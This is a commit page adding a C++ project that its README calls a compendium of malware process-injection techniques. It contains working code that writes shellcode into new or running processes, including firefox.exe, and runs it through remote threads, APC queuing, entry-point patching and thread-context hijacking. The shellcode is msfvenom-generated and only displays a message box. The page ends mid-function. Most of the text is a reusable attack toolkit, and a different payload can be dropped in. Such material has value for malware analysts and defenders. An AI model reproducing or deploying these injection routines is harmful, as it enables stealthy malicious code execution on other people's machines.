6
0
Derivar 0
ciyze 2020-11-06 18:11:01 +08:00
ascendente f9a8f4e172
cometimento 7759bf39fd
23 ficheiros modificados com 5433 adições e 0 eliminações

Ver ficheiro

@ -0,0 +1,13 @@
# inject_shellcode
Small compendium of injection techniques commonly used in malware demonstrated on metasploit-generated shellcode<br/>
Various objects of injection:<br/>
+ existing process (found by name)
+ newly created process
Demonstrated methods:<br/>
+ Running shellcode in a new thread
+ Adding shellcode into existing thread (using NtQueueApcThread)
+ Patching Entry Point of the process
+ Patching context of the process
+ Injecting into Tray Window (using SetWindowLong)

Ver ficheiro

@ -0,0 +1,34 @@
cmake_minimum_required (VERSION 2.8)
project (Injections)
add_definitions(-DUNICODE -D_UNICODE)
set (srcs
main.cpp
window_long_inject.cpp
sysutil.cpp
pe_hdrs_helper.cpp
)
set (hdrs
main.h
ntddk.h
ntdll_undoc.h
kernel32_undoc.h
map_buffer_into_process.h
target_util.h
payload.h
createproc.h
add_thread.h
add_apc.h
patch_ep.h
patch_context.h
window_long_inject.h
enumproc.h
sysutil.h
pe_hdrs_helper.h
)
add_executable (Injections ${hdrs} ${srcs})
INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} )

Ver ficheiro

@ -0,0 +1,21 @@
#pragma once
#include <stdio.h>
#include "ntdll_undoc.h"
bool add_shellcode_to_apc(HANDLE hThread, LPVOID remote_shellcode_ptr)
{
#if defined(_WIN64)
printf("[ERROR] 64bit version of this method is not implemented!\n");
return false;
#else
printf("Adding shellcode to the queue\n");
NTSTATUS status = NULL;
if ((status = NtQueueApcThread(hThread, remote_shellcode_ptr, 0, 0, 0)) != STATUS_SUCCESS)
{
printf("[ERROR] NtQueueApcThread failed, status : %x\n", status);
return false;
}
return true;
#endif
}

Ver ficheiro

@ -0,0 +1,89 @@
#pragma once
#include <stdio.h>
#include "ntddk.h"
#include "ntdll_undoc.h"
typedef enum {
usingRandomMethod,
usingCreateRemoteThread,
usingZwCreateThreadEx,
usingRtlCreateUserThread,
CREATION_METHODS_SIZE
} THREAD_CREATION_METHOD;
bool run_shellcode_in_new_thread1(HANDLE hProcess, LPVOID remote_shellcode_ptr)
{
NTSTATUS status = NULL;
//create a new thread for the injected code:
LPTHREAD_START_ROUTINE routine = (LPTHREAD_START_ROUTINE) remote_shellcode_ptr;
DWORD threadId = NULL;
HANDLE hMyThread = NULL;
if ((hMyThread = CreateRemoteThread(hProcess, NULL, NULL, routine, NULL, CREATE_SUSPENDED, &threadId)) == NULL) {
printf("[ERROR] CreateRemoteThread failed, status : %x\n", GetLastError());
return false;
}
printf("Created Thread, id = %x\n", threadId);
printf("Resuming added thread...\n");
ResumeThread(hMyThread); //injected code
return true;
}
bool run_shellcode_in_new_thread2(HANDLE hProcess, LPVOID remote_shellcode_ptr)
{
NTSTATUS status = NULL;
HANDLE hMyThread = NULL;
//create a new thread for the injected code:
if ((status = ZwCreateThreadEx(&hMyThread, 0x1FFFFF, NULL, hProcess, remote_shellcode_ptr, NULL, CREATE_SUSPENDED, 0, 0, 0, 0)) != STATUS_SUCCESS)
{
printf("[ERROR] ZwCreateThreadEx failed, status : %x\n", status);
return false;
}
printf("Created Thread, id = %x\n", GetThreadId(hMyThread));
printf("Resuming added thread...\n");
ResumeThread(hMyThread); //injected code
return true;
}
bool run_shellcode_in_new_thread3(HANDLE hProcess, LPVOID remote_shellcode_ptr)
{
NTSTATUS status = NULL;
HANDLE hMyThread = NULL;
CLIENT_ID cid;
//create a new thread for the injected code:
if ((status = RtlCreateUserThread(hProcess, NULL, true, 0, 0, 0, remote_shellcode_ptr, NULL, &hMyThread, &cid)) != STATUS_SUCCESS)
{
printf("[ERROR] RtlCreateUserThread failed, status : %x\n", status);
return false;
}
printf("Created Thread, id = %x\n", GetThreadId(hMyThread));
printf("Resuming added thread...\n");
ResumeThread(hMyThread); //injected code
return true;
}
//---
bool run_shellcode_in_new_thread(HANDLE hProcess, LPVOID remote_shellcode_ptr, DWORD method)
{
bool isSuccess = false;
DWORD max = CREATION_METHODS_SIZE - 1;
DWORD random = (GetTickCount() * 1000) % max + 1;
if (method > max || method <= usingRandomMethod) method = random;
printf("Injecting by method, id = %x\n", method);
switch (method) {
case usingCreateRemoteThread:
isSuccess = run_shellcode_in_new_thread1(hProcess, remote_shellcode_ptr);
break;
case usingZwCreateThreadEx:
isSuccess = run_shellcode_in_new_thread2(hProcess, remote_shellcode_ptr);
break;
case usingRtlCreateUserThread:
isSuccess = run_shellcode_in_new_thread3(hProcess, remote_shellcode_ptr);
break;
default:
return false;
}
return isSuccess;
}

Ver ficheiro

@ -0,0 +1,59 @@
#pragma once
#include "kernel32_undoc.h"
bool create_new_process1(PROCESS_INFORMATION &pi, LPWSTR cmdLine, LPWSTR startDir = NULL)
{
STARTUPINFO si;
memset(&si, 0, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
memset(&pi, 0, sizeof(PROCESS_INFORMATION));
if (!CreateProcess(
NULL,
cmdLine,
NULL, //lpProcessAttributes
NULL, //lpThreadAttributes
FALSE, //bInheritHandles
DETACHED_PROCESS|CREATE_SUSPENDED|CREATE_NO_WINDOW, //dwCreationFlags
NULL, //lpEnvironment
startDir, //lpCurrentDirectory
&si, //lpStartupInfo
&pi //lpProcessInformation
))
{
printf("[ERROR] CreateProcess failed, Error = %x\n", GetLastError());
return false;
}
return true;
}
bool create_new_process2(PROCESS_INFORMATION &pi, LPWSTR cmdLine, LPWSTR startDir = NULL)
{
STARTUPINFO si;
memset(&si, 0, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
memset(&pi, 0, sizeof(PROCESS_INFORMATION));
HANDLE hToken = NULL;
HANDLE hNewToken = NULL;
if (!CreateProcessInternalW (hToken,
NULL, //lpApplicationName
(LPWSTR) cmdLine, //lpCommandLine
NULL, //lpProcessAttributes
NULL, //lpThreadAttributes
FALSE, //bInheritHandles
CREATE_SUSPENDED|DETACHED_PROCESS|CREATE_NO_WINDOW, //dwCreationFlags
NULL, //lpEnvironment
startDir, //lpCurrentDirectory
&si, //lpStartupInfo
&pi, //lpProcessInformation
&hNewToken
))
{
printf("[ERROR] CreateProcessInternalW failed, Error = %x\n", GetLastError());
return false;
}
return true;
}

Ver ficheiro

@ -0,0 +1,55 @@
#pragma once
#include <psapi.h>
bool get_process_name(IN HANDLE hProcess, OUT LPWSTR nameBuf, IN SIZE_T nameMax)
{
HMODULE hMod;
DWORD cbNeeded;
if (EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded)) {
GetModuleBaseName( hProcess, hMod, nameBuf, nameMax );
return true;
}
return false;
}
bool is_searched_process( DWORD processID, LPWSTR searchedName)
{
HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID );
if (hProcess == NULL) return false;
WCHAR szProcessName[MAX_PATH];
if (get_process_name(hProcess, szProcessName, MAX_PATH)) {
if (wcsstr(szProcessName, searchedName) != NULL) {
printf( "%S (PID: %u)\n", szProcessName, processID );
CloseHandle(hProcess);
return true;
}
}
CloseHandle(hProcess);
return false;
}
HANDLE find_running_process(LPWSTR searchedName)
{
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded)) {
return NULL;
}
//calculate how many process identifiers were returned.
cProcesses = cbNeeded / sizeof(DWORD);
//search handle to the process of defined name
for ( i = 0; i < cProcesses; i++ ) {
if( aProcesses[i] != 0 ) {
if (is_searched_process(aProcesses[i], searchedName)) {
HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, aProcesses[i]);
return hProcess;
}
}
}
return NULL;
}

Ver ficheiro

@ -0,0 +1,32 @@
#pragma once
#include <Windows.h>
//don't forget to load functiond before use:
//load_kernel32_functions();
//
BOOL
(WINAPI *CreateProcessInternalW)(HANDLE hToken,
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation,
PHANDLE hNewToken
);
BOOL load_kernel32_functions()
{
HMODULE hKernel32 = GetModuleHandleA("kernel32");
CreateProcessInternalW = (BOOL (WINAPI *)(HANDLE, LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES,BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION, PHANDLE)) GetProcAddress(hKernel32,"CreateProcessInternalW");
if (CreateProcessInternalW == NULL) return FALSE;
return TRUE;
}

Ver ficheiro

@ -0,0 +1,127 @@
#include <Windows.h>
#include <iostream>
#include "main.h"
#include "createproc.h"
#include "enumproc.h"
#include "payload.h"
#include "map_buffer_into_process.h"
#include "sysutil.h"
typedef enum {
ADD_THREAD,
ADD_APC,
PATCH_EP,
PATCH_CONTEXT
} INJECTION_POINT;
typedef enum {
EXISTING_PROC,
NEW_PROC,
TRAY_WINDOW
} TARGET_TYPE;
using namespace std;
bool inject_in_new_process(INJECTION_POINT mode)
{
//get target path
WCHAR cmdLine[MAX_PATH];
get_calc_path(cmdLine, MAX_PATH);
WCHAR startDir[MAX_PATH];
if (!get_dir(cmdLine, startDir)) {
GetSystemDirectory(startDir, MAX_PATH);
}
printf("Target: %S\n", cmdLine);
//create suspended process
PROCESS_INFORMATION pi;
memset(&pi, 0, sizeof(PROCESS_INFORMATION));
if (create_new_process2(pi, cmdLine, startDir) == false) {
return false;
}
LPVOID remote_shellcode_ptr = map_buffer_into_process1(pi.hProcess, g_Shellcode, sizeof(g_Shellcode), PAGE_EXECUTE_READWRITE);
bool result = false;
switch (mode) {
case ADD_THREAD:
result = run_shellcode_in_new_thread(pi.hProcess, remote_shellcode_ptr, THREAD_CREATION_METHOD::usingRandomMethod);
// not neccessery to resume the main thread
break;
case ADD_APC:
result = add_shellcode_to_apc(pi.hThread, remote_shellcode_ptr);
ResumeThread(pi.hThread); //resume the main thread
break;
case PATCH_EP:
result = paste_shellcode_at_ep(pi.hProcess, remote_shellcode_ptr, pi.hThread);
ResumeThread(pi.hThread); //resume the main thread
break;
case PATCH_CONTEXT:
result = patch_context(pi.hThread, remote_shellcode_ptr);
ResumeThread(pi.hThread); //resume the main thread
break;
}
//close handles
ZwClose(pi.hThread);
ZwClose(pi.hProcess);
return result;
}
bool inject_in_existing_process()
{
HANDLE hProcess = find_running_process(L"firefox.exe");
LPVOID remote_shellcode_ptr = map_buffer_into_process1(hProcess, g_Shellcode, sizeof(g_Shellcode), PAGE_EXECUTE_READWRITE);
if (remote_shellcode_ptr == NULL) {
return false;
}
return run_shellcode_in_new_thread(hProcess, remote_shellcode_ptr, THREAD_CREATION_METHOD::usingRandomMethod);
}
int main()
{
if (load_ntdll_functions() == FALSE) {
printf("Failed to load NTDLL function\n");
return (-1);
}
if (load_kernel32_functions() == FALSE) {
printf("Failed to load KERNEL32 function\n");
return (-1);
}
// compatibility checks:
if (!is_system32b()) {
printf("[WARNING] Your ystem is NOT 32 bit! Some of the methods may not work.\n");
}
if (!is_compiled_32b()) {
printf("[WARNING] It is recommended to compile the loader as a 32 bit application!\n");
}
// choose the method:
TARGET_TYPE targetType = TARGET_TYPE::NEW_PROC;
switch (targetType) {
case TARGET_TYPE::TRAY_WINDOW:
if (!is_system32b()) {
printf("[ERROR] Not supported! Your system is NOT 32 bit!\n");
break;
}
// this injection is more fragile, use shellcode that makes no assumptions about the context
if (inject_into_tray(g_Shellcode, sizeof(g_Shellcode))) {
printf("[SUCCESS] Code injected into tray window!\n");
break;
}
case TARGET_TYPE::EXISTING_PROC:
if (inject_in_existing_process()) {
printf("[SUCCESS] Code injected into existing process!\n");
break;
}
case TARGET_TYPE::NEW_PROC:
if (inject_in_new_process(INJECTION_POINT::PATCH_EP)) {
printf("[SUCCESS] Code injected into a new process!\n");
break;
}
}
system("pause");
return 0;
}

Ver ficheiro

@ -0,0 +1,13 @@
#pragma once
#include "ntdll_undoc.h"
#include "kernel32_undoc.h"
#include "target_util.h"
//injection types:
#include "add_thread.h"
#include "add_apc.h"
#include "patch_ep.h"
#include "patch_context.h"
#include "window_long_inject.h"

Ver ficheiro

@ -0,0 +1,67 @@
#pragma once
#include <stdio.h> // for printf
#include <wchar.h>
#include "ntddk.h"
//set of alternative functions doing the same by a different way
PVOID map_buffer_into_process1(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE)
{
HANDLE hSection = NULL;
OBJECT_ATTRIBUTES hAttributes;
memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES));
LARGE_INTEGER maxSize;
maxSize.HighPart = 0;
maxSize.LowPart = static_cast<DWORD>(buffer_size);
NTSTATUS status = NULL;
if ((status = ZwCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, &maxSize, protect, SEC_COMMIT, NULL)) != STATUS_SUCCESS)
{
printf("[ERROR] ZwCreateSection failed, status : %x\n", status);
return NULL;
}
PVOID sectionBaseAddress = NULL;
ULONG viewSize = 0;
SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE
// map the section in context of current process:
if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), &sectionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, protect)) != STATUS_SUCCESS)
{
printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
return NULL;
}
printf("Section BaseAddress: %p\n", sectionBaseAddress);
memcpy (sectionBaseAddress, buffer, buffer_size);
printf("Buffer copied!\n");
//map the new section into context of opened process
PVOID sectionBaseAddress2 = NULL;
if ((status = NtMapViewOfSection(hSection, hProcess, &sectionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, protect)) != STATUS_SUCCESS)
{
printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
return NULL;
}
//unmap from the context of current process
ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress);
ZwClose(hSection);
printf("Section mapped at address: %p\n", sectionBaseAddress2);
return sectionBaseAddress2;
}
LPVOID map_buffer_into_process2(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE)
{
LPVOID remoteAddress = VirtualAllocEx(hProcess, NULL, buffer_size, MEM_COMMIT | MEM_RESERVE, protect);
if (remoteAddress == NULL) {
printf("Could not allocate memory in the remote process\n");
return NULL;
}
if (!WriteProcessMemory(hProcess, remoteAddress, buffer, buffer_size, NULL)) {
VirtualFreeEx(hProcess,remoteAddress, buffer_size, MEM_FREE);
return NULL;
}
return remoteAddress;
}

A apresentação das diferenças no ficheiro foi suprimida por ser demasiado grande Carregar diff

Ver ficheiro

@ -0,0 +1,72 @@
#pragma once
#include <Windows.h>
#include "ntddk.h"
//undocumented functions from ntdll.dll
//
//don't forget to load functions before use:
//load_ntdll_functions();
NTSTATUS (NTAPI *NtQueueApcThread)(
IN HANDLE ThreadHandle,
IN PVOID ApcRoutine,
IN PVOID ApcRoutineContext OPTIONAL,
IN PVOID ApcStatusBlock OPTIONAL,
IN ULONG ApcReserved OPTIONAL
);
NTSTATUS (NTAPI *ZwSetInformationThread) (
IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
IN PVOID ThreadInformation,
IN ULONG ThreadInformationLength
);
NTSTATUS (NTAPI *ZwCreateThreadEx) (
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN ULONG_PTR ZeroBits,
IN SIZE_T StackSize OPTIONAL,
IN SIZE_T MaximumStackSize OPTIONAL,
IN PVOID AttributeList OPTIONAL
);
NTSTATUS (NTAPI *RtlCreateUserThread) (
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientID
);
BOOL load_ntdll_functions()
{
HMODULE hNtdll = GetModuleHandleA("ntdll");
if (hNtdll == NULL) return FALSE;
NtQueueApcThread = (NTSTATUS (NTAPI *)(HANDLE, PVOID, PVOID, PVOID, ULONG)) GetProcAddress(hNtdll,"NtQueueApcThread");
if (NtQueueApcThread == NULL) return FALSE;
ZwSetInformationThread = (NTSTATUS (NTAPI *)(HANDLE, THREADINFOCLASS, PVOID, ULONG)) GetProcAddress(hNtdll,"ZwSetInformationThread");
if (ZwSetInformationThread == NULL) return FALSE;
ZwCreateThreadEx = (NTSTATUS (NTAPI *) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, PVOID)) GetProcAddress(hNtdll,"ZwCreateThreadEx");
if (ZwCreateThreadEx == NULL) return FALSE;
RtlCreateUserThread = (NTSTATUS (NTAPI *) (HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN,ULONG, PULONG, PULONG, PVOID, PVOID, PHANDLE, PCLIENT_ID)) GetProcAddress(hNtdll,"RtlCreateUserThread");
if (RtlCreateUserThread == NULL) return FALSE;
return TRUE;
}

Ver ficheiro

@ -0,0 +1,39 @@
#pragma once
#include <Windows.h>
//32-bit version
bool patch_context(HANDLE hThread, LPVOID remote_shellcode_ptr)
{
//get initial context of the target:
BOOL res = FALSE;
#if defined(_WIN64)
WOW64_CONTEXT context;
memset(&context, 0, sizeof(WOW64_CONTEXT));
context.ContextFlags = CONTEXT_INTEGER;
res = Wow64GetThreadContext(hThread, &context);
#else
CONTEXT context;
memset(&context, 0, sizeof(CONTEXT));
context.ContextFlags = CONTEXT_INTEGER;
res = GetThreadContext(hThread, &context);
#endif
if (res == FALSE) {
return false;
}
//if the process was created as suspended and didn't run yet, EAX holds it's entry point:
context.Eax = (DWORD) remote_shellcode_ptr;
#if defined(_WIN64)
Wow64SetThreadContext(hThread, &context);
#else
res = SetThreadContext(hThread, &context);
#endif
if (res == FALSE) {
return false;
}
printf("patched context -> EAX = %x\n", context.Eax);
return true;
}

Ver ficheiro

@ -0,0 +1,140 @@
#pragma once
#include <stdio.h>
#include "ntddk.h"
#include "pe_hdrs_helper.h"
#define PAGE_SIZE 0x1000
// Get image base by a method #1:
LPCVOID getTargetImageBase1(HANDLE hProcess)
{
PROCESS_BASIC_INFORMATION pbi;
memset(&pbi, 0, sizeof(PROCESS_BASIC_INFORMATION));
if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL) != 0)
{
printf("[ERROR] NtQueryInformationProcess failed\n");
return NULL;
}
printf("PEB = %p\n", (LPVOID)pbi.PebBaseAddress);
LPCVOID ImageBase = 0;
SIZE_T read_bytes = 0;
if (!ReadProcessMemory(hProcess, (BYTE*)pbi.PebBaseAddress + 8, &ImageBase, sizeof(ImageBase), &read_bytes)
|| read_bytes != sizeof(ImageBase)
)
{
printf("[ERROR] Cannot read from PEB - incompatibile target!\n");
return NULL;
}
return ImageBase;
}
// Get image base by a method #2:
// WARNING: this method of getting Image Base works only if
// the process has been created as a SUSPENDED and didn't run yet
// - it uses specific values of the registers, that are set only in this case.
LPCVOID getTargetImageBase2(HANDLE hProcess, HANDLE hThread)
{
//get initial context of the target:
#if defined(_WIN64)
WOW64_CONTEXT context;
memset(&context, 0, sizeof(WOW64_CONTEXT));
context.ContextFlags = CONTEXT_INTEGER;
Wow64GetThreadContext(hThread, &context);
#else
CONTEXT context;
memset(&context, 0, sizeof(CONTEXT));
context.ContextFlags = CONTEXT_INTEGER;
GetThreadContext(hThread, &context);
#endif
//get image base of the target:
DWORD PEB_addr = context.Ebx;
const SIZE_T kPtrSize = sizeof(DWORD); //for 32 bit
DWORD targetImageBase = 0; //for 32 bit
printf("PEB = %x\n", PEB_addr);
if (!ReadProcessMemory(hProcess, LPVOID(PEB_addr + 8), &targetImageBase, kPtrSize, NULL)) {
printf("[ERROR] Cannot read from PEB - incompatibile target!\n");
return false;
}
return (LPCVOID)((ULONGLONG)targetImageBase);
}
bool paste_shellcode_at_ep(HANDLE hProcess, LPVOID remote_shellcode_ptr, HANDLE hThread=NULL)
{
LPCVOID ImageBase = NULL; //target ImageBase
if (hThread != NULL) {
ImageBase = getTargetImageBase2(hProcess, hThread);
} else {
#if defined(_WIN64)
printf("[ERROR] 64bit version of this method is not implemented!\n");
return false;
#else
ImageBase = getTargetImageBase1(hProcess);
#endif
}
if (ImageBase == NULL) {
printf("[ERROR] Fetching ImageBase failed!\n");
return false;
}
printf("ImageBase = 0x%p\n", ImageBase);
// read headers:
SIZE_T read_bytes = 0;
BYTE hdrs_buf[PAGE_SIZE];
if (!ReadProcessMemory(hProcess, ImageBase, hdrs_buf, sizeof(hdrs_buf), &read_bytes) && read_bytes != sizeof(hdrs_buf))
{
printf("[-] ReadProcessMemory failed\n");
return false;
}
// fetch Entry Point From headers
IMAGE_NT_HEADERS32 *inh = get_nt_hrds32(hdrs_buf);
if (inh == NULL) return false;
IMAGE_OPTIONAL_HEADER32 opt_hdr = inh->OptionalHeader;
DWORD ep_rva = opt_hdr.AddressOfEntryPoint;
printf("Entry Point v: %x\n", ep_rva);
printf("shellcode ptr: %p\n", remote_shellcode_ptr);
//make a buffer to store the hook code:
const SIZE_T kHookSize = 0x10;
BYTE hook_buffer[kHookSize];
memset(hook_buffer, 0xcc, kHookSize);
//prepare the redirection:
//address of the shellcode will be pushed on the stack and called via ret
hook_buffer[0] = 0x68; //push
hook_buffer[5] = 0xC3; //ret
//for 32bit code:
DWORD shellcode_addr = (DWORD)remote_shellcode_ptr;
memcpy(hook_buffer + 1, &shellcode_addr, sizeof(shellcode_addr));
//make a memory page containing Entry Point Writable:
DWORD oldProtect;
if (!VirtualProtectEx(hProcess, (BYTE*)ImageBase + ep_rva, kHookSize, PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("Virtual Protect Failed!\n");
return false;
}
//paste the redirection at Entry Point:
SIZE_T writen_bytes = 0;
if (!WriteProcessMemory(hProcess, (LPBYTE)ImageBase + ep_rva, hook_buffer, sizeof(hook_buffer) , &writen_bytes))
{
printf("[-] WriteProcessMemory failed, err = %d\n", GetLastError());
return false;
}
//restore the previous access rights at entry point:
DWORD oldProtect2;
if (!VirtualProtectEx(hProcess, (BYTE*)ImageBase + ep_rva, kHookSize, oldProtect, &oldProtect2)) {
printf("Virtual Protect Failed!\n");
return false;
}
return true;
}

Ver ficheiro

@ -0,0 +1,30 @@
#pragma once
/*
msfvenom -a x86 --platform Windows
-p windows/messagebox
TEXT="This is an injection demo!"
TITLE="Injection Demo"
-f c
*/
unsigned char g_Shellcode[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
"\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6d\x6f\x58\x20\x68\x6e\x20"
"\x44\x65\x68\x63\x74\x69\x6f\x68\x49\x6e\x6a\x65\x31\xdb\x88"
"\x5c\x24\x0e\x89\xe3\x68\x6f\x21\x58\x20\x68\x20\x64\x65\x6d"
"\x68\x74\x69\x6f\x6e\x68\x6e\x6a\x65\x63\x68\x61\x6e\x20\x69"
"\x68\x20\x69\x73\x20\x68\x54\x68\x69\x73\x31\xc9\x88\x4c\x24"
"\x1a\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff"
"\x55\x08";

Ver ficheiro

@ -0,0 +1,32 @@
#include "pe_hdrs_helper.h"
IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer)
{
if (pe_buffer == NULL) return NULL;
IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)pe_buffer;
if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
return NULL;
}
const LONG kMaxOffset = 1024;
LONG pe_offset = idh->e_lfanew;
if (pe_offset > kMaxOffset) return NULL;
IMAGE_NT_HEADERS32 *inh = (IMAGE_NT_HEADERS32 *)((BYTE*)pe_buffer + pe_offset);
return inh;
}
IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id)
{
if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL;
//fetch relocation table from current image:
PIMAGE_NT_HEADERS32 nt_headers = get_nt_hrds32((BYTE*) pe_buffer);
if (nt_headers == NULL) return NULL;
IMAGE_DATA_DIRECTORY* peDir = &(nt_headers->OptionalHeader.DataDirectory[dir_id]);
if (peDir->VirtualAddress == NULL) {
return NULL;
}
return peDir;
}

Ver ficheiro

@ -0,0 +1,5 @@
#pragma once
#include <Windows.h>
IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer);
IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id);

Ver ficheiro

@ -0,0 +1,52 @@
#pragma once
#include "sysutil.h"
#include <windows.h>
#include <stdio.h>
#include "pe_hdrs_helper.h"
typedef BOOL(WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
bool is_compiled_32b()
{
if (sizeof(LPVOID) == sizeof(DWORD)) {
return true;
}
return false;
}
bool is_wow64()
{
LPFN_ISWOW64PROCESS fnIsWow64Process;
BOOL bIsWow64 = false;
//IsWow64Process is not available on all supported versions of Windows.
//Use GetModuleHandle to get a handle to the DLL that contains the function
//and GetProcAddress to get a pointer to the function if available.
fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
if (fnIsWow64Process == NULL) {
return false;
}
if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) {
return false;
}
if (bIsWow64 == TRUE) {
return true; //64 bit
}
return false; //32 bit
}
bool is_system32b()
{
//is the current application 32 bit?
if (!is_compiled_32b()) {
return false;
}
//check if it is running under WoW
if (is_wow64()) {
return false;
}
return true;
}

Ver ficheiro

@ -0,0 +1,9 @@
#pragma once
#include <windows.h>
#define PAGE_SIZE 0x1000
bool is_compiled_32b();
bool is_wow64();
bool is_system32b();
bool is_target_32bit(HANDLE hProcess, LPVOID ImageBase);

Ver ficheiro

@ -0,0 +1,117 @@
#pragma once
#include <wchar.h>
void replace_param(LPWSTR cmdBuf, SIZE_T cmdBufSize, LPWSTR paramVal)
{
wchar_t * pwc;
printf("--\n");
pwc = wcsstr (cmdBuf, L"%1");
if (pwc == NULL) return; //param not found
SIZE_T paramLen = wcslen(paramVal);
SIZE_T offset = pwc - cmdBuf;
if (offset + paramLen + 1 >= cmdBufSize) return; //no space in buffer
wcsncpy (pwc, paramVal, paramLen);
cmdBuf[offset + paramLen + 1] = NULL;
if (offset == 0) return;
if (cmdBuf[offset-1] == '\"' || cmdBuf[offset-1] == '\'') {
cmdBuf[offset + paramLen] = cmdBuf[0];
cmdBuf[offset + paramLen + 1] = NULL;
}
}
void remove_params(LPWSTR cmdLine, SIZE_T cmdLineLen)
{
wchar_t * pwc;
printf("--\n");
WCHAR extension[] = L".exe";
SIZE_T extensionLen = wcslen(extension);
pwc = wcsstr (cmdLine, extension);
if (pwc == NULL) return;
SIZE_T offset = pwc - cmdLine;
cmdLine[offset + extensionLen] = NULL;
if (cmdLine[0] == '\"' || cmdLine[0] == '\'') {
cmdLine[offset + extensionLen] = cmdLine[0];
cmdLine[offset + extensionLen + 1] = NULL;
}
}
bool get_dir(LPWSTR cmdLine, OUT LPWSTR dirBuf, SIZE_T dirBufLen = MAX_PATH)
{
wchar_t * pwc;
pwc = wcsrchr (cmdLine, L'\\');
if (pwc == NULL) {
pwc = wcsrchr (cmdLine, L'/');
}
if (pwc == NULL) return false;
SIZE_T offset = pwc - cmdLine + 1;
if (offset >= dirBufLen) return false;
if (cmdLine[offset] != '\"' && cmdLine[offset] != '\'') {
return false;
}
if (cmdLine[0] == '\"' || cmdLine[0] == '\'') {
